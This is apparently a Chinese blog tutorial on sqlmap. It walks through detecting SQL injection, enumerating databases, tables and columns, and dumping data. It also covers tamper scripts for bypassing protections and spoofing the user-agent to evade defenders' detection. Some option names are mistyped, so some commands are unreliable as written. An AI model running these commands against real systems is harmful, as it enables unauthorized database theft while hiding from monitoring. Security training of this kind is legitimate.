1.检测是否存在注入点
python sqlmap.py -u "地址"
出现heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')这个分析结果是 SQLMap 对目标 URL 进行启发式（基本）测试后得出的结论 GET parameter 'artist' might be injectable: SQLMap 发现 GET 请求中的参数 ‘artist’ 可能是可注入的。 Possible DBMS: ‘MySQL’: SQLMap 进一步猜测目标数据库管理系统（DBMS）可能是 MySQL。
2.获取当前数据库的名称（直接查表名会输出全部表，显示有点杂乱）
python sqlmap.py -u “注入点地址” –current-db
3.获取指定库的表名
python sqlmap.py -u "地址" --table -D "库名"
4.获取表下的列名
python sqlmap.py -u "" --cloumns -T "表名"
表名是在上面已经获取到了
5.获取数据
已经获取了表名和列名，dump用来指示工具从数据库中检索数据。
python sqlmap.py -u "目标地址" --dump -C "列1,列2" -T "表名"
6.绕过模块-Tamper脚本
python sqlmap.py -u “带有防护的注入点地址” –tamper=绕过模块
绕过模块编写：随便在Tamper脚本中，复制一个模板，修改模板编写自己想要过滤的条件代码然后放在sqlmap存储目录的tamper下
7.打乱默认指纹
–user-agent “” #自定义user-agent
–random-agent #随机user-agent
由于显示的数据包user-agent会携带一些**固有流量特征**，会被蓝队进行防护和识别。 sqlmap的固有流量特征：数据包user-agent中会默认其版本号
8.–level -risk等级限制（可以深度去检测）
level=(1-5) #要执行的测试水平等级，默认为1（主要设置这个）
–risk=(0-3) #测试执行的风险等级，默认为1
标签：sqlmap,python,py,agent,神器,表名,user,SQL From： https://blog.csdn.net/m0_71639471/article/details/144441975